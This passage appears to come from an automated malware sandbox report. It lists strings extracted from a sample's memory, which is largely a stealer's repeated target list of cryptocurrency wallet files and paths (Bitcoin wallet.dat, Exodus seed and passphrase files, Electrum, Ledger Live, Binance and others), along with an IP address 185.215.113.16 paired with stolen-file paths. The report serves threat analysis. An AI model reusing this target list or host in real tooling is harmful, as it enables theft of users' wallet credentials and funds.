Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2741444292.00000000008E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2741444292.00000000008E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2741444292.00000000008E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2741444292.00000000008E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2741444292.00000000008E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16gineer\AppData\Roaming\Binance\app-store.json*
Source: file.exe, 00000000.00000002.2741444292.00000000008E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2741444292.00000000008E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2741444292.00000000008E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16er\AppData\Roaming\\Coinomi\Coinomi\wallets\\.
Source: file.exe, 00000000.00000002.2741444292.00000000008E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2741444292.00000000008E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2741444292.00000000008E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2741444292.00000000008E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2741444292.00000000008E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local 